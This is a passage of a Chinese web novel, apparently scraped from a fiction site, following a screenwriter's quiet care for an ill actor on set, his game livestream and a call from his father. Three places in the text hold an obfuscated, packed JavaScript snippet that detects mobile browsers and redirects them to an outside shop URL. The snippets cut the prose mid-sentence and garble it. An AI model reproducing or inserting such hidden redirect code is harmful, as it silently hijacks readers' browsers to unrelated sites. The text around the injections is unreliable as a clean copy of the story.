被人撞见深夜才归,闻朝有些窘迫,讪讪地摸了摸鼻子,嘴角扯出一个不太自然的笑,话语因紧张而略显磕巴,“我……我今天出去逛了逛,碰巧遇到高中时的好朋友,就……就多聊了一会儿……” “哦。”沈淮时简短地应了一声,随即忍不住偏过头,压抑地低咳了几声,眉心微蹙。咳完,他才解释,“我房间的暖气系统出了点故障,维修需要时间,临时换到这间空房。” 闻朝的注意力立刻被他明显不适的状态吸引,也顾不得自己的尴尬了,上前半步,关切地问:“你是不是生病了?脸色看起来不太好。” 沈淮时摆了摆手,试图让自己显得轻松些,“没事,可能有点着凉,嗓子不太舒服,咳几声就好了。” 闻朝盯着他苍白的唇色和眼底隐隐的倦意,没再追问,但心里已有了打算。 “那……你早点休息,多喝热水。”她轻声说。 “嗯,你也是。”沈淮时点了点头,目光在她手中还冒着热气的姜茶上停留了一瞬,“喝了姜茶早点睡。” “好。” 两人各自退回房间,关上房门。 走廊重新恢复寂静。 15. 希望他被世界温柔以待 闻朝背靠着冰凉的门板,听着对面隐约传来的、压抑过的咳嗽声,心里那点因为重逢故友而产生的温暖和怅惘,渐渐被另一种更具体、更细微的牵挂取代。 她默默走到桌边,看着那碗热气腾腾的鸡汤面和那杯深褐色的姜茶。 鸡汤面的热气袅袅上升,带着诱人的食物香气,但她此刻却没什么胃口。目光落在旁边那杯深褐色的姜茶上,姜的辛辣气味隐隐传来。 沈淮时苍白的脸色和低哑的咳嗽声,不断在脑海里回放。 他真的只是“有点着凉”吗?片场拍摄环境复杂,冬天戏份又多,演员抵抗力下降是常事。看他刚才的样子,恐怕不止是嗓子不舒服那么简单。 闻朝拿起那杯姜茶,温度透过杯壁熨帖着掌心。她小口啜饮着,滚烫的液体顺着喉咙滑下,带来一阵暖意,也让她纷乱的思绪稍微清晰了一些。 作为粉丝,关心偶像的身体是天经地义。但作为剧组的编剧,一个需要保持专业距离的合作者,这份关心该如何表达,才不会显得越界,不会让他觉得困扰,也不会让自己再次陷入尴尬的境地? 直接送药?太冒昧了。 发微信问候?好像又过于刻意,而且他可能不想被打扰。 装作不知道?可明明看见了,也听见了。 她放下杯子,指尖无意识地敲击着桌面。 最后,视线落在酒店便签纸和笔上。 有了。 第二天清晨,天刚蒙蒙亮,雪停了,但天空仍是灰扑扑的。闻朝比平时早起了近一个小时。她轻手轻脚地洗漱完毕,换好衣服,没有惊动隔壁可能还在熟睡的桑华,独自下楼。 酒店餐厅刚刚开始准备早餐,后厨区域已经忙碌起来。闻朝找到一位看起来像是负责人的工作人员,礼貌地询问是否可以借用一个小炖盅和一些简单的食材。 “我想煮点冰糖雪梨,润润喉。”她解释着,语气温和而恳切。 工作人员认得她是剧组的客人,又见她态度诚恳,便爽快地答应了,将她引到一个小工作间,提供了所需的炖盅、雪梨、冰糖、银耳,甚至还有一小包川贝粉。 “这个季节,喝点川贝炖雪梨最好了。”工作人员热心地说。 “谢谢您。”闻朝真心道谢。 她并不常下厨,但炖糖水这种简单的事情还难不倒她。仔细清洗雪梨,去皮去核,切成小块,和泡发好的银耳、冰糖、川贝粉一起放入炖盅,加上适量的清水。盖上盖子,调到小火慢炖。 等待的时间里,她坐在安静的工作间,听着炖盅里发出轻微的“咕嘟”声,蒸汽从盖子边缘丝丝缕缕地冒出来,带着雪梨和冰糖的清甜香气。 窗外是渐渐苏醒的城市,远处传来隐约的车流声。这一刻,她的心异常平静。 大约炖了四十分钟,糖水变得晶莹粘稠,雪梨软糯,银耳滑润。闻朝小心地将糖水倒入一个保温壶里,又把剩下的重新装回洗净的炖盅。 她提着保温壶和炖盅回到房间,正好碰上打着哈欠出门的桑华。 “咦?朝朝,你这么早?手里拿的什么?好香啊。”桑华凑过来,吸了吸鼻子。 “炖了点冰糖雪梨。”闻朝侧身让开,“你要喝吗?炖盅里还有。” “要要要!正觉得嗓子干呢!”桑华也不客气,转身回房拿了自己的杯子。 给桑华倒了一碗后,闻朝看着剩下的保温壶,又看了看时间。现在才七点多,剧组通常八点半集合。沈淮时昨晚不舒服,今天会不会晚点? 她想了想,拿出酒店的便签纸,用最工整、最不带任何个人情绪的字迹写道: 【沈老师: 听闻您身体不适,炖了点冰糖雪梨,聊以润喉。望早日康复。 ——《骤雪止》编剧闻朝】 没有称呼“沈淮时”,没有落款“你的粉丝”,仅仅是最简洁的工作身份和事由。她将纸条对折,用保温壶轻轻压住一角。 然后,她走到对面房间门口。 深吸一口气,举起手,又放下。再举起,轻轻敲了敲门。 里面没有立刻回应。等了几秒,就在闻朝想着是不是他还没醒,或者已经去了片场,自己是否该把东西放在门口时,门开了。 沈淮时出现在门口。他看起来比昨晚更憔悴了一些,眼底有淡淡的阴影,脸色依旧不好,嘴唇干涩。他穿着简单的卫衣长裤,似乎也是刚起不久。 看到门口的闻朝,他显然有些意外,目光随即落在她手中的保温壶上。 “闻朝?”他的声音比昨晚更沙哑了些。 闻朝连忙将保温壶和压在下面的纸条往前递了递,尽量让自己的语气听起来公事公办,如同交接一件道具,“沈老师早。这个……冰糖雪梨,润喉的。您……趁热喝点,可能会舒服些。” 沈淮时微微一怔,低头看了看保温壶,又看了看那张便签。他伸手接过,指尖不经意间触碰到闻朝微凉的手指。 “谢谢。”他低声说,声音虽然沙哑,但很清晰。他打开便签扫了一眼,再抬眼时,目光里带着些许复杂的情绪,有感谢,有意外,或许还有一丝她看不懂的柔和,“麻烦你了。” “不麻烦,顺手的事。”闻朝迅速摇头,不敢多看他的眼睛,“那……您好好休息,我就不打扰了。片场见。” 说完,她几乎是逃也似的转身,快步走向电梯间,心臟在胸腔里扑通扑通跳得有些乱。 直到走进电梯,金属门缓缓合拢,隔绝了那道可能投注在她背影上的视线,闻朝才靠在冰凉的轿厢壁上,长长地舒了一口气。 做完了。 没有越界,只是同事之间基本的关心。 他接受了。 这样……应该就够了吧? —— 片场。 今天的戏份集中在室内,一个顾嘉言回忆童年与母亲温馨互动的重要闪回场景。场景布置得温暖怀旧,灯光打得很柔和。 闻朝到达时,拍摄已经准备就绪。她悄悄走到监视器附近,目光下意识地寻找那个身影。 沈淮时已经化好妆,穿着戏里的衣服,坐在一旁的休息椅上,手里捧着那个眼熟的保温壶,正小口喝着什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276094|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的脸色在妆容的修饰下看起来好了些,但仔细看,眉宇间仍有一丝掩不住的倦意。 陈序正在和他讲戏,他听得很认真,不时点头,偶尔低声回应几句,声音还是有些沙,但比早上听起来似乎清亮了一点点。 似乎是察觉到她的目光,沈淮时忽然抬起眼,朝她这边望了过来。 闻朝心头一跳,下意识想移开视线,却见他对自己很轻地点了下头,嘴角似乎弯起一个极淡的、表示感谢的弧度。 她也连忙点了点头,然后迅速将目光投向别处,假装在研究旁边的布景。 拍摄开始。 这场戏情感细腻,要求演员展现出角色内心深处最柔软的一面。沈淮时很快进入了状态。当他对着饰演母亲的演员,念出那句带着孩童般依赖和喜悦的台词时,眼神清澈明亮,仿佛真的回到了无忧无虑的童年时光,丝毫看不出生病的痕迹。 只有在导演喊“卡”的间隙,他才会微微侧过身,压抑地低咳两声,然后迅速调整呼吸,准备下一条。 专业,且敬业。 闻朝站在监视器后,看着屏幕里那个沉浸在角色中的他,又看看休息时略显疲惫但依旧专注的他,心里某个角落,被轻轻触动。 那不是粉丝对偶像光芒的仰望,而更像是一种……对另一个认真灵魂的尊重与理解。 中场休息时,沈淮时的助理许安拿着水和药过来。沈淮时接过水杯和药片,仰头服下。然后,他拧开那个保温壶,又喝了几口。 闻朝远远看着,心里那点悬着的担忧,稍稍落定。 至少,他喝了。希望真的能有点用。 下午的拍摄还算顺利。收工时,天色已近黄昏。 闻朝收拾好自己的东西,正准备离开,沈淮时走了过来。 “闻老师。”他叫住她。 闻朝停下脚步,转过身,“沈老师,有事吗?” 沈淮时手里拿着那个已经空了的保温壶,递还给她。“谢谢你的雪梨汤,很管用。”他顿了顿,补充道,“嗓子舒服多了。” 他的声音听起来确实比早上好了不少,虽然仍有些沙,但不再那么干涩费力。 “那就好。”闻朝接过保温壶,指尖碰到壶身,还残留着一点温热的余韵,“您多注意休息。” “嗯。”沈淮时点了点头,目光在她脸上停留了一瞬,似乎想说什么,但最终只是道,“明天见。” “明天见,沈老师。” 他转身走向自己的保姆车。闻朝站在原地,看着他的背影,手里握着微温的保温壶,壶身仿佛还带着他掌心的温度。 一阵冷风吹过,她打了个寒颤,却觉得心底某个地方,暖暖的,软软的。 这大概就是,能为他做一点微不足道的小事,并且知道这点小事或许真的帮到了他,所带来的、最隐秘也最真实的快乐吧。 无关其他,仅仅是,希望那个在屏幕上闪闪发光、在片场认真敬业的人,也能被这个世界,温柔以待。 哪怕这份温柔,只来自一杯普通的冰糖雪梨,和一个无人知晓的清晨。 16. “我都习惯了” 空气中带有潮湿的雪水的气息,冷冽又潮湿。 闻朝跟着导演商量着这场群演戏怎么拍比较好。她低着头,侃侃而谈,拍摄的手法和剧情的紧凑逐渐在闻朝的三言两语下有了雏形。 陈序的眼神很惊奇,不亚于见到了外星人,“闻老师这说得很专业嘛,一点都看不出来是非科班出身的。” 面对导演的夸赞,向来社恐腼腆的闻朝不好意思地笑了笑,“没有没有,我就是最近看了这方面的书,有了些许了解,还比不上专业的。” 陈序乐呵地对着对讲机催促着摄影组开始拍摄。因为群演人多,再加上大部分并不是专业的演员,所以还是有些不熟练,拍摄的进度也就慢了下来。 等待过程中闻朝有些无聊,盯着不远处左拉右拉的摄影机就发起了呆。 直到现场布置已经完成,整个场地都在一瞬间寂静下来的时候,她这才察觉到似乎有一种似有若无的目光盯着自己。 几乎是下意识,她朝目光聚焦处望去。视线还没来得及定下,便撞进了一双温柔的桃花眼。 眼神触碰到的那一瞬间,那双桃花眼也微不可察地愣怔住了。几乎是一瞬间,沈淮时搁着那不算近的距离朝她温和而又礼貌的笑了笑。 闻朝怔住之后也下意识还了个微笑,她在那一瞬间忽而很想说些什么,却又在下一秒缄默不言。她不知道要说些什么,毕竟她和他并不算熟络。 昨天,不过是因为他生病了的原因,她的关心的焦急才显得理所因当。思索片刻后,她略有些呆愣地收回视线,装作若无其事的样子。 因为马上要过年了,剧组也在筹备着放假,提前就要把许多设备运到酒店,所以车子就明显不够用了。还是陈序大手一挥,问沈淮时能不能捎带两个人。 他欣然应允。 而那两个幸运儿就是闻朝和桑华。 “闻朝。” 沈淮时的声音忽然从她身后传来。 本来就因为导演说让她蹭沈淮时的车,她内心有点惶恐紧张。这会儿听到他的声音,心一颤。她下意识回过头,还没来得及拆下来的吊灯散发的暖黄色的光洒在他略显苍白的脸上,更显得他憔悴。 他睫毛微垂,在眼睑处投下淡淡的阴影。许是因为生病还没有完全好的原因,他的状态显得不怎么精神。即便是他强撑着,闻朝也能看得出他面容上难掩的倦色。 “给你这个。”没等闻朝开口,他先递过来一个东西。 她下意识低头看,一个扁扁的、深蓝色的硬纸盒静静地躺在他手心。闻朝接过,却是疑问:“这是什么?” “润喉糖。”沈淮时解释,声音因为生病比比平日更低沉。他低低地咳了一声,继续道,“看你和导演他们沟通剧本说了很多,听你嗓子有些哑。” 他竟然那么细心。 闻朝内心泛起了一股细微的酥麻,她低声道着谢。 “不用客气。”沈淮时望着她略有些局促的小动作,眼底溢出一抹笑。 “走走走,各位。”陈序拿着大喇叭在不远处喊着,“设备已经搬完了,大家可以收拾收拾回酒店了”。 陈序瞥到了和闻朝站在一起的沈淮时,隔着老远大喊:“淮时,她俩我就交给你了。” “好,放心吧。”沈淮时笑着回应。 她们两个刚坐上沈淮时的保姆车的时候还有些怯懦,眼神那是不敢随便乱飞。 还是沈淮时注意到她们那僵硬的坐姿,忍不住笑了笑,贴心安抚道:“放松啊,这车坐着很舒服的。” 簌簌风声响起,不知道什么时候窗外下起了雨,保姆车窗户上雨滴的痕迹也愈发多了起来。 闻朝靠着坐背盯着那水渍走了神,半晌都没听见桑华喊她的声音。 还是桑华伸手戳了戳她才将她的目光转移到自己身上。 “啊?怎么了?”闻朝有些怔愣,还没反应过来。 “我说,”桑华可能早就习惯她时不时的走神和发呆,也没有生气,而是重复了一遍自己刚刚的问题,“你放假之后有什么打算吗?” 听她问起放假的计划,闻朝细长的眼睫毛轻颤,在眼睑下落下一片小小的阴影。 “我啊?”闻朝顿了顿,“可能先回家吧,马上再过几天不就除夕了嘛,先回家和家人团圆吃个年夜饭,别的也没想好。” “那沈老师呢?”桑华忽然将话题引到了沈淮时身上。 “我啊?”沈淮时被这话问的一愣,他顿了顿,细细想着才略微有些犹豫地开口。“还不太确定呢。除夕前刚好有一个国外的工作,不一定能赶得回去。在哪过不是过呢,这么多年我都习惯了。” 他的话说得轻飘飘的,好似很轻松。 可这些话落在那两个人耳中,却又带了些沉重感。 闻朝下意识眨了眨眼,指尖微颤,在意识到沈淮时说了些什么,整个人在一瞬间怔然住了。 心跳忽的加快,似锣鼓喧天,她竭尽全力地保持住自己面上的平静,却怎么也抑制不住自己内心涌上来的心疼。 而后又没了话题,车内陷入了沉默,没有人再继续说下去。 闻朝敛眸垂首,掩盖住自己心底的挫败和失落。 气氛死寂了几秒钟,就在她以为没人会开口的时候,沈淮时的声音忽然又淡淡响起,“明年活动蛮多的。” 他稍顿了一下,侧过头看向她们,缓缓补充了一句,声音温和,“到时候我让工作室给你们留两张票。” 刹那间,闻朝似擂鼓的心跳声停滞了一下,紧接着更加剧烈地跳动了起来。似是,死寂的海平面泛起了阵阵涟漪。 桑华闻言,按捺不住自己内心的狂喜,若不是还在车上,她高低要转几个圈来庆祝一下。 老天奶啊! 谁敢想沈淮时主动给她们留票啊! “谢谢谢谢。”桑华双手合十没忍住在车上朝沈淮时微微鞠了个恭,“沈老师,你真是个好人。” 措不及防被发了好人卡的沈淮时没忍住呆愣住了。 等会儿,这不对吧。 好人卡是这个时候发的吗? 他虽然心下疑问,可到底也没继续问下去,只是笑了笑说:“没事,小事而已啦,不足挂齿。” “老板,行程已经安排好了,发你手机上了,你看看还有没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“如果……如果除夕那天工作结束得早,”闻朝顿了顿,迎上他的视线,鼓起了些勇气,可声音里依旧带有几分紧张,“可以试试做几道菜。虽然比不上家里的年夜饭,但至少……是个念想。” 话说出口,她自己先愣了一下,随即耳根微微发热。这算什么建议?笨拙又突兀。 沈淮时显然也愣住了。他看着那房门处站着的女孩,她似乎有些懊恼自己说了蠢话,眼神飘忽着不敢看他。 片刻,他眼里漾开真实的笑意,不再是那种礼貌温和却带着距离感的弧度,而是真切地弯起了眼尾。 “好,”他点了点头,声音更轻缓温和,“我记下了,谢谢。” —— 落地窗前,雨下得更密了,蜿蜒流下,在玻璃上划过一道轻痕。 夜色渐浓,华灯初上,灯火璀璨。雨丝和灯火渲染成了一片模糊的光斑。 雨声淅淅沥沥,倒衬得房间愈发死寂。闻朝额头抵着冰凉的玻璃,第一次清晰地认识到,原来爱真的让人变得贪心。 她忽然想起他疲倦却依旧温和的眼眸,想起他说习惯了那轻飘飘却带有落寞的语气,却也想起了他关心她时那不平静的心。 死寂的海平面不仅在那刻翻起了涟漪,更开始酝酿了一种无人知晓静谧却浩瀚的潮汐。 17. “耳朵要聋啦!” 沈淮时新购置的机械键盘静静卧在桌面上,冷色调的背光从键帽缝隙间溢出来,像一泓幽蓝的泉。 他正慢慢适应着手感,修长匀称的指节起落间,敲击出干净利落的“咔嗒”声,清脆,富有节奏,在安静的房间里回荡。 只开了桌前一盏暖黄的护眼灯,光线将他专注的侧影勾勒得格外清晰。 他微微垂着眼睫,视线落在屏幕与指尖之间,偶尔会因为某个键位的细微差别而停顿,重新调整一下手指的落点。 这是一场品牌合作的商务游戏直播,距离正式开播还有一段时间,他便提前上线调试设备,顺便与新伙伴培养默契。 直播界面尚未开启,此刻的镜头只对着他敲击键盘的手部特写。骨节分明的手指,带着一种漫不经心的、专注于自我世界的松弛。 他换了个坐姿,背脊依然挺直,手腕悬空,保持着标准的姿势。 指尖的速度时快时慢,有时是毫无意义的字母组合,有时又是在某个游戏登录界面输入密码。 清脆的敲击声连成一片,又在他停顿时骤然安静,只余下机箱风扇低沉的嗡鸣。 【还没开播吗?这个手……我死了……】 【是新键盘!声音好好听!】 【盲猜青轴,这清脆的段落感,淮哥手速看来要更快了。】 【提前蹲守的我是幸运的!这是在试手感吗?】 零星几条提前进入直播间的弹幕飘过,显然是被平台推送的预览画面吸引来的。 沈淮时似乎瞥见了弹幕,但并未抬眼,只是唇角很轻地扬了一下,那弧度转瞬即逝,快得像是错觉。 他继续着敲击,仿佛沉浸在这单纯的、与机械反馈互动的乐趣中。 随即,他点开了一个测试打字速度的小程序。 屏幕上的字符开始快速滚动,他的手指也随之舞动,在暖黄的光线下,快得几乎带出残影,却又异常精准,每一次落点都果断利落。 【这手速……我眼花缭乱。】 【新键盘很配他!】 【不只是快,关键是稳,几乎听不到误触的空格声。】 【淮哥认真适应设备的样子好帅……】 测试结束,屏幕上跳出一个惊人的分数和评级。 他轻轻呼出一口气,身体向后靠进椅背,活动了一下手腕。 片刻才抬眼看向摄像头方向,抬手随意拨了下额前垂落的碎发,露出完整的眉眼。 那双常被镜头捕捉、时而含情时而凌厉的眼睛里,此刻带着点调试完毕后的轻松,还有一丝对即将开始的直播的淡淡期待。 “新键盘,”他开口,声音透过优质的麦克风传来,比平日透过屏幕听到的要更清晰,带着点刚试完设备的随意和慵懒,“手感还不错。” 他边说,边移动鼠标,点开了直播软件的准备界面。 背景音乐轻柔响起,直播间标题亮起,预告着接下来的游戏内容。他最后检查了一遍音频设置,对着麦克风轻轻喂了两声,听到耳机里传来清晰反馈,才微微地点了点头。 一切准备就绪。他重新将手放回键盘上,指尖落在熟悉的WASD区域,微微蜷起,是一个准备进入游戏状态的起手式。 “差不多可以开始了。”他对着镜头说道,声音平稳,带着一贯的、令人安心的力量感。 屏幕右上角的在线人数开始快速攀升,弹幕瞬间变得密密麻麻,几乎要覆盖整个画面。沈淮时扫了一眼飞速滚动的欢迎词,眼底掠过一丝极淡的笑意,随即目光便牢牢锁定了即将载入的游戏界面。 清脆的键盘敲击声,再次响起。这一次,伴随着游戏背景音效的涌入,正式拉开了今晚直播的序幕。 “咔哒、咔哒、咔哒……” 清脆利落的键盘敲击声再次响起,这一次,紧密地交织进游戏载入完成的恢弘背景音乐与细腻的环境音效中。 鼠标划过垫子带出轻微的摩擦声,他调整了一下耳机的位置。 游戏开始。 他选择的角色迅捷地投入虚拟的战场。他的操作行云流水,指尖在崭新的机械键盘上跳跃,每一次敲击都伴随着清脆明确的反馈声,与游戏内角色的动作完美同步,赏心悦目。 他偶尔会简短地回应几句弹幕,声音不高,吐字清晰,语气是直播时特有的那种略带松弛的专注。 “嗯,新键盘手感确实不错。” “今天试试新阵容。” 随着战局推进,遭遇战爆发,气氛陡然紧绷。屏幕上技能光影交错,战况瞬息万变。沈淮时的语速不自觉地加快,但声音依然稳定,带着清晰的指令性和瞬间的判断分析。 “侧翼!注意侧翼!” “控住!我能跟!” “拆塔,先拆塔,别追残血!” 键盘的敲击声变得极其密集而富有攻击性,不再是清脆的“咔哒”,而是连成一片急促的“噼啪”声,如同骤雨击打屋檐,又快又狠。 他的眼神严肃,紧紧跟随屏幕上的每一个微小变化,瞳孔里倒映着技能爆发的璀璨光芒。一次激烈的团战后,他以极险的血量完成三杀,己方大获全胜。 背景音里爆炸声、技能音效还未完全散去,他大概是觉得耳机里的声音过于混杂刺耳,下意识地偏了偏头,脱口而出一句带着点真实困扰的嘟囔,音量不高,却恰好被收进麦克风,“耳朵要聋啦!” 弹幕立刻笑成一片: 【哈哈哈哈哈哈真实!】 【声控福利!抱怨也好听!】 【淮哥嫌弃音效吵的样子莫名可爱!】 紧接着,战局陷入短暂的僵持,对方某个位置发育极好,形成威胁。 沈淮时迅速切屏观察随即用一种半是商量半是决断,带着点“舍我其谁”的语气在队内语音中说:“强度有点高了,你来吧,你拿吧,我求你了你拿吧。” 语气里那份故作卑微的急切和清晰的战术意图,引来弹幕一片【《我求你了》】【淮哥:能屈能伸】【战略型求让】的调侃。 沈淮时操控的角色在对线中刚刚单杀了对手,他瞥见对方复活后似乎不服气,又在附近露头。 他极轻地笑了一下,那笑声短促,几乎淹没在键盘声中,随即对着麦克风,用一种平淡却莫名挑衅的语气说:“兄弟们,我再去跟他1v1一把。” 说完,根本不等队友反应,角色已然脱离安全位置,如同精准的刺客,朝着预判的路径切去。十秒后,系统提示再次响起单杀公告。 他只是微微调整了一下坐姿,简洁地吐出三个字:“牛牛牛。” 不知是夸自己,还是夸对手头铁,或者只是抒发一下胜利的快意。 他瞥了一眼旁边监控弹幕的副屏,看着那些疯狂滚动的、激动无比的留言,稍稍往后靠了靠,抬手揉了揉眉心,语气里带着点淡淡的笑意和一丝玩笑般的“嫌弃”,“有点过于吵闹了。” 【你吵到我的眼睛了!(指弹幕)】 【是谁引起的喧嚣啊喂!】 【就吵就吵!】 弹幕立刻“叛逆”地回应。 一场酣畅淋漓的胜利之后,结算界面弹出。 沈淮时活动了一下手腕,看着屏幕上好友申请那一栏不断跳出的红色数字提示,显然有不少同局玩家发送了申请。 他摇了摇头,对着镜头,用那种一本正经说瞎话的语气快速说道:“兄弟们别加我好友了。” 顿了顿,他眼里闪过一丝几乎难以察觉的狡黠,又慢悠悠地补充了后半句,仿佛在陈述一个众所周知的事实,“我ID叫danking。” 【???】 【??????】 【《danking》】 【我信了你的邪!】 【又开始忽悠人了是吧!】 【danking:你清高!】 【甩锅侠是吧!】 【举报了,主播恶意冒用他人ID(狗头)】 弹幕瞬间被问号和“揭穿”刷满,气氛欢乐异常。 他不再理会弹幕的“声讨”,嘴角噙着那抹未散的笑意,目光重新投向游戏队列。短暂的休息结束,新一轮的对局即将开始。修长的手指重新覆上键盘,低声说:“好了,继续。” —— 沈淮时直播结束后,起来接热水喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276096|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,刚好接到了来自家里的电话。站在净饮机前,他一手按下按钮,一手拿着手机放在耳边。 热气氤氲着缠上玻璃杯内壁,那浅淡升起的雾气模糊了杯壁,同时也遮住了他的视线。 他安静地站着,额前几缕被室内暖气熏得微潮的碎发垂落,沾在光滑的额角。 “淮时,工作结束了吗?”父亲的声音从电话那头传来,是刻意压低的温和,带着小心翼翼的关切,仿佛怕惊扰了什么。 沈淮时这才回神,看见水已满溢,指尖按下停止键。他转过身,侧身轻轻靠着桌台,微哑的嗓音里揉进了显而易见的疲惫,“刚结束,怎么了?” 电话那头沉默了片刻,连呼吸声都变得清晰可闻。父亲似乎在斟酌词句,再开口时,语气里带上了些微不易察觉的、年长者特有的迟疑与期待,“淮时,你今年回家过年吗?” 回家过年? 四个字像一颗小小的石子,猝不及防地投入心湖,漾开一圈迟来的涟漪。 沈淮时握着温热的玻璃杯,指尖传来的暖意与心头蓦然涌上的恍然交织。 可是…… “还不确定,”他听见自己的声音有些干涩,眉头不自觉地微微蹙起,“这几天还有国外的行程。” 大脑飞速运转,航班、时差、工作安排、可能的延误…… 无数碎片在脑海里碰撞,时间像被拉紧的弦。 他停顿了一下,眼睫低垂,目光落在杯中那片被水汽晕染得光怪陆离的倒影上,声音放得很轻,更像是对自己的一种承诺,“我尽量吧……应该赶得到。” 听筒里传来父亲一声几不可闻的、如释重负的呼气声。 那细微的声响,却让沈淮时心头微微一紧。 “好,好……尽量就行,工作要紧。”父亲连忙说道,停顿了几秒,那熟悉的、带着泥土般朴实温度的叮嘱再次响起,“你在外面,别太累着自己。吃好睡好,多穿点……我和你妈妈在家等你。” “嗯,我知道。”沈淮时应着,喉结轻轻滚动。杯壁的热度透过掌心蔓延,却驱不散心头某处突然泛起的细微的酸涩。 他忽然想起什么,借着这个话题问道:“爷爷奶奶最近身体怎么样?定期体检还记得去吗?” “他们好着呢!”提起祖父母,父亲的声音明显轻快了些,“体检报告都看了,指标比有些年轻人都稳当。精神头也足,每天公园溜达,跟你妈学用手机刷视频,乐呵得很。” 只是,这轻快里很快又掺入一丝无奈的笑意,以及更深沉的挂念,“就是啊……老念叨你。电视上一晃过你的影子,就指着说‘我孙子’;掰着指头算你多久没回来了,老问:‘淮时今年,回不回来过年啊?’” 父亲的声音不高,甚至带着点家常的、絮叨的笑意,可每个字落在沈淮时耳中,都仿佛带着具体的重量。 那重量沉甸甸地,压在胸口,让呼吸都变得有些滞涩。 室内很安静,只能听得见电话里轻飘飘的电流声,以及自己的心跳。沈淮时握着手机,指节微微泛白,杯壁上的雾气凝结成细小的水珠,顺着光滑的玻璃滑下,留下一道转瞬即逝的湿痕。 “跟他们说,”他顿了顿,声音不自觉地放得更软,几乎带着哄劝的意味,“我尽量,真的尽量。这边一结束,马上就买票。” “诶,好,好。”父亲连声应着,似乎还想多说些什么,话到嘴边又咽了回去,最终只是反复念叨,“你忙,你先忙。家里一切都好,别担心。” 通话结束,忙音响起。 沈淮时却还维持着那个姿势,望着窗外沉沉的夜色。城市的霓虹透过玻璃,在光滑的台面上投下模糊而斑斓的光块。 方才直播间里的喧嚣、胜利的快意、与弹幕互动的狡黠,此刻都像隔着一层毛玻璃,变得遥远而不真切。 只有父亲那句“老问:‘淮时今年,回不回来过年啊?’”无比清晰,在耳边反复回荡,带着老人特有的、绵长而固执的期盼。 他仰头将杯中的水一饮而尽。温水滑过喉咙,稍微驱散了一些深夜的疲惫和喉咙的干涩,却抚不平心头那点骤然被勾起的、名为“归家”的褶皱。 18. 沈淮时,明年见 剧组放假前的聚餐,选在了一家私密性很好的中式餐厅。 陈序包下了一个宽敞的雅间,红木圆桌,暖黄的灯光,将连日拍摄的疲惫与即将放假的欣喜都柔和地包裹了起来。 闻朝到的时候,桑华已经坐在座位上,低头摆弄着手机,看到她立刻招手示意,“朝朝,这儿。” 闻朝走过去脱下羽绒服,搭在椅背上。她今天穿了一件奶黄色的毛衣,头发慵懒地扎在脑后,露出光洁的额头。她没有化妆,素着一张脸,反而显出了几分学生气的青涩。 “你怎么来这么早?”闻朝坐下,接过桑华递来的热茶。 “反正在酒店也没什么事。”桑华突然环顾一下四周,凑近她压低声音,“你听说了没,灯光组的组长和那个谁……” 她的话还没说完,门就又被打开了,导演陈序和沈淮时一起走了进来。 包厢突然死寂了一秒,又热闹了起来。 陈序挥手示意大家随意,等所有人都入座之后,就开始吩咐服务员上菜。 菜肴很丰盛,热气与香气氤氲着。 闻朝和桑华挨着坐,两个脑袋几乎凑在一起,自成一方窃窃私语的小天地。 酒过三巡,气氛愈加热络,大家互相敬酒,说着感谢和祝福的话。 闻朝的筷子无意识地拨弄着碗里的一颗翡翠虾仁,虾仁裹着薄薄的芡汁,在灯光的照耀下泛着微光。她听着桑华压低了声音,跟她分享不知道从哪里听来的、关于剧组某个工作人员的趣闻。 桑华讲得眉飞色舞,闻朝也配合地笑着,眼睛弯成月牙。但她的余光,总是不由自主地,如同被磁石牵引般,悄悄飘向圆桌对面那个安静的身影。 沈淮时今天穿了一件深蓝色的羊绒衫,衬的肤色愈发冷白。他坐在导演旁边,话不多,只是偶尔在别人提起他时偶尔微微颔首,唇边噙着一抹很淡的、礼节性的笑意。 “然后呢?”桑华用肩膀撞了撞她,“你在听我说话吗?” “啊?抱歉我刚刚不小心发呆了。”闻朝这才回过神,将目光落在身旁的桑华身上,真诚道歉。 “我说场务小张好像跟摄影组的小林在一起了。”桑华眼中闪耀着八卦的光芒,“你魂儿飞谁身上了?!” 闻朝不好意思地笑了笑,没回答。 桑华絮絮叨叨的八卦告一段落,忽然叹了口气,声音里透出真切的不舍,“哎,说起来……真快啊。感觉昨天才进组,今天就要放假。”她用胳膊肘轻轻碰了碰闻朝,“朝朝,你会想我们吧?特别是……” 她促狭地眨眨眼,目光意有所指地飘向对面。 闻朝脸颊微热,轻轻推了她一下,“别瞎说。咱们假期又不长,春节之后就又来了。” 她顿了顿,声音低下去,像是说给桑华听,也像是说给自己听,“就是觉得……有点空落落的。” 她说完之后低下头也不说话,指尖无意识地摩挲着温热的茶杯壁。 这次分开还有下次见。 那杀青之后呢? 杀青之后还有机会再遇见吗? 这个问题像一根细小的刺,扎在她心里。不疼,却拔不出来。 聚餐接近尾声时,气氛变得愈发热烈。有人在角落里断断续续地唱着歌,唱着新年快乐。 